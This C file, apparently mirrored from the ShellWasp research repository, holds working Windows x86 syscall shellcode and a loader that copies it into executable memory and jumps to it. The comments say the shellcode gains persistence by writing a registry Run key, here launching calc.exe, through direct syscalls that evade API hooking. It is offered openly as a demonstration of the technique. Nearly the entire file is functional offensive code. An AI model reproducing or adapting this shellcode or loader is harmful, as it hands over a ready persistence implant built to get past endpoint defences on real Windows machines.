mirror of
https://github.com/Bw3ll/ShellWasp
synced 2026-06-08 10:31:49 +00:00
Bw3ll
53 lines
5.2 KiB
C
53 lines
5.2 KiB
C
|
|
// ; Author: Shelby VandenHoek (VERONA Labs)
|
|
// ; This was made to highlight the ShellWasp technique for syscall shellcode. Note - Shelby used a slightly earlier
|
|
// ; version of ShellWasp, which has since changed. His shellcode still works on Win 7, 10, and 11.
|
|
|
|
// ; This is a way to create persistence via registry - in this case, for calculator!
|
|
|
|
// ; This is a total reworking/reimaging of an original 2005 syscall shellcode by P. Bania. The way of invoking the
|
|
// ; syscall then is obsolete now, so I told Shelby (then my employee and student) to recreate it from scratch using the
|
|
// ; ShellWasp technique. I had searched long and hard for any syscall shellcode that was non-Egghunter in nature, and Bania's
|
|
// ; was the only one that I could find. The original had used hardcoded syscall values - clearly a practice we
|
|
// ; would avoid today.
|
|
|
|
// ; Original from 2005: http://piotrbania.com/all/articles/windows_syscall_shellcode.pdf
|
|
|
|
// ; This is intended to a script to test the shellcode - automatically generated by SHAREM (shellcode analysis
|
|
// ; framework) from the binary file. The .ASM is available separately. This program must be debugged to work
|
|
// ; as it has an int 3 breakpoint in it.
|
|
|
|
#include <windows.h>
|
|
|
|
#include <stdio.h>
|
|
|
|
|
|
char shellcode[] = "\x64\x8b\x1d\x30\x00\x00\x00\x8b\x9b\xac\x00\x00\x00\x89\xe1\x81\xec\x00\x10\x00\x00\x80\xfb\x64\x7c\x10\x68\x2c\x00\x07\x00\x68\x0f\x00\x03\x00\x6a\x60\x6a\x1d\xeb\x77\x80\xfb\x63\x7c\x10\x68\x2c\x00\x07\x00\x68\x0f\x00\x03\x00\x6a\x60\x6a\x1d\xeb\x62\x80\xfb\x62\x7c\x0a\x6a\x2c\x6a\x0f\x6a\x60\x6a\x1d\xeb\x53\x80\xfb\xf0\x7c\x10\x68\x2c\x00\x07\x00\x68\x3f\x00\x03\x00\x6a\x60\x6a\x1d\xeb\x3e\x80\xfb\x61\x7c\x0a\x6a\x2c\x6a\x0f\x6a\x60\x6a\x1d\xeb\x2f\x80\xfb\xbb\x7c\x0a\x6a\x2c\x6a\x0f\x6a\x60\x6a\x1d\xeb\x20\x80\xfb\xba\x7c\x0a\x6a\x2c\x6a\x0f\x6a\x60\x6a\x1d\xeb\x11\x80\xfb\xb1\x0f\x8c\xcb\x02\x00\x00\x6a\x29\x6a\x0c\x6a\x5d\x6a\x1a\x89\xe7\x89\xcc\x81\xec\x00\x04\x00\x00\x31\xd2\x52\xb2\x6e\x66\x52\xb2\x75\x66\x52\xb2\x52\x66\x52\xb2\x5c\x66\x52\xb2\x6e\x66\x52\xb2\x6f\x66\x52\xb2\x69\x66\x52\xb2\x73\x66\x52\xb2\x72\x66\x52\xb2\x65\x66\x52\xb2\x56\x66\x52\xb2\x74\x66\x52\xb2\x6e\x66\x52\xb2\x65\x66\x52\xb2\x72\x66\x52\xb2\x72\x66\x52\xb2\x75\x66\x52\xb2\x43\x66\x52\xb2\x5c\x66\x52\xb2\x73\x66\x52\xb2\x77\x66\x52\xb2\x6f\x66\x52\xb2\x64\x66\x52\xb2\x6e\x66\x52\xb2\x69\x66\x52\xb2\x57\x66\x52\xb2\x5c\x66\x52\xb2\x74\x66\x52\xb2\x66\x66\x52\xb2\x6f\x66\x52\xb2\x73\x66\x52\xb2\x6f\x66\x52\xb2\x72\x66\x52\xb2\x63\x66\x52\xb2\x69\x66\x52\xb2\x4d\x66\x52\xb2\x5c\x66\x52\xb2\x65\x66\x52\xb2\x72\x66\x52\xb2\x61\x66\x52\xb2\x77\x66\x52\xb2\x74\x66\x52\xb2\x66\x66\x52\xb2\x6f\x66\x52\xb2\x53\x66\x52\xb2\x5c\x66\x52\xb2\x65\x66\x52\xb2\x6e\x66\x52\xb2\x69\x66\x52\xb2\x68\x66\x52\xb2\x63\x66\x52\xb2\x61\x66\x52\xb2\x4d\x66\x52\xb2\x5c\x66\x52\xb2\x79\x66\x52\xb2\x72\x66\x52\xb2\x74\x66\x52\xb2\x73\x66\x52\xb2\x69\x66\x52\xb2\x67\x66\x52\xb2\x65\x66\x52\xb2\x52\x66\x52\xb2\x5c\x66\x52\x89\x65\xfc\x31\xd2\x52\xb2\x65\x66\x52\xb2\x78\x66\x52\xb2\x65\x66\x52\xb2\x2e\x66\x52\xb2\x63\x66\x52\xb2\x6c\x66\x52\xb2\x61\x66\x52\xb2\x63\x66\x52\xb2\x5c\x66\x52\xb2\x32\x66\x52\xb2\x33\x66\x52\xb2\x6d\x66\x52\xb2\x65\x66\x52\xb2\x74\x66\x52\xb2\x73\x66\x52\xb2\x79\x66\x52\xb2\x53\x66\x52\xb2\x5c\x66\x52\xb2\x73\x66\x52\xb2\x77\x66\x52\xb2\x6f\x66\x52\xb2\x64\x66\x52\xb2\x6e\x66\x52\xb2\x69\x66\x52\xb2\x57\x66\x52\xb2\x5c\x66\x52\xb2\x3a\x66\x52\xb2\x43\x66\x52\x89\x65\xf8\x31\xd2\x52\xb2\x79\x66\x52\xb2\x65\x66\x52\xb2\x4b\x66\x52\xb2\x20\x66\x52\xb2\x64\x66\x52\xb2\x65\x66\x52\xb2\x74\x66\x52\xb2\x61\x66\x52\xb2\x65\x66\x52\xb2\x72\x66\x52\xb2\x43\x66\x52\xb2\x20\x66\x52\xb2\x6c\x66\x52\xb2\x6c\x66\x52\xb2\x61\x66\x52\xb2\x63\x66\x52\xb2\x73\x66\x52\xb2\x79\x66\x52\xb2\x53\x66\x52\x89\x65\xf4\x31\xd2\xff\x75\xf4\x66\xba\x28\x00\x66\x52\x66\xba\x26\x00\x66\x52\x89\x65\xf0\x31\xd2\xff\x75\xfc\x66\xba\x80\x00\x66\x52\x66\xba\x7e\x00\x66\x52\x89\x65\xec\x31\xd2\x31\xc9\x52\x52\x41\xc1\xe1\x06\x51\xff\x75\xec\x52\x6a\x18\x89\x65\xe8\x31\xd2\x52\x89\x65\xe4\x31\xc9\x41\xc1\xe1\x04\x89\xca\x49\xc1\xe1\x10\xc1\xe2\x02\x4a\x01\xd1\x31\xd2\x42\xc1\xe2\x08\x01\xd1\x89\x4d\xe0\x57\x31\xd2\x52\x52\x52\x52\xff\x75\xe8\xff\x75\xe0\xff\x75\xe4\x8b\x07\xe8\x4e\x00\x00\x00\x83\xc4\x1c\x5f\x31\xc9\x39\xc8\x75\x32\x57\x31\xd2\x6a\x38\xff\x75\xf8\x42\x52\x4a\x52\xff\x75\xf0\x8b\x45\xe4\xff\x30\x8b\x47\x04\xe8\x28\x00\x00\x00\x83\xc4\x18\x5f\x57\x8b\x45\xe4\xff\x30\x8b\x47\x08\xe8\x16\x00\x00\x00\x83\xc4\x04\x5f\x57\x31\xd2\x52\x52\x8b\x47\x0c\xe8\x05\x00\x00\x00\x83\xc4\x08\xeb\x2b\x64\x8b\x1d\x30\x00\x00\x00\x8b\x9b\xa4\x00\x00\x00\x80\xfb\x0a\x75\x08\x64\xff\x15\xc0\x00\x00\x00\xc3\x31\xc9\x8d\x54\x24\x04\x64\xff\x15\xc0\x00\x00\x00\x83\xc4\x04\xc3";
|
|
|
|
|
|
|
|
|
|
|
|
int main(int argc, char **argv) {
|
|
|
|
HINSTANCE hInstLib = LoadLibrary(TEXT("user32.dll"));
|
|
int i = 0, len = 0, target_addy = 0, offset = 0;
|
|
void*stage = VirtualAlloc(0, 3475, 0x1000,0x40 );
|
|
printf("[*] Memory allocated: 0x%08x\n", stage);
|
|
len = sizeof(shellcode);
|
|
printf("[*] Size of Shellcode: %08x\n", len);
|
|
memmove(stage, shellcode, 3475);
|
|
printf("[*] Shellcode copied\n");
|
|
target_addy = (char*)stage + 0;
|
|
printf("[*] Adjusting offset: 0x%08x\n", target_addy);
|
|
__asm {
|
|
|
|
int 3
|
|
|
|
mov eax, target_addy
|
|
|
|
jmp eax
|
|
|
|
}
|
|
|
|
} |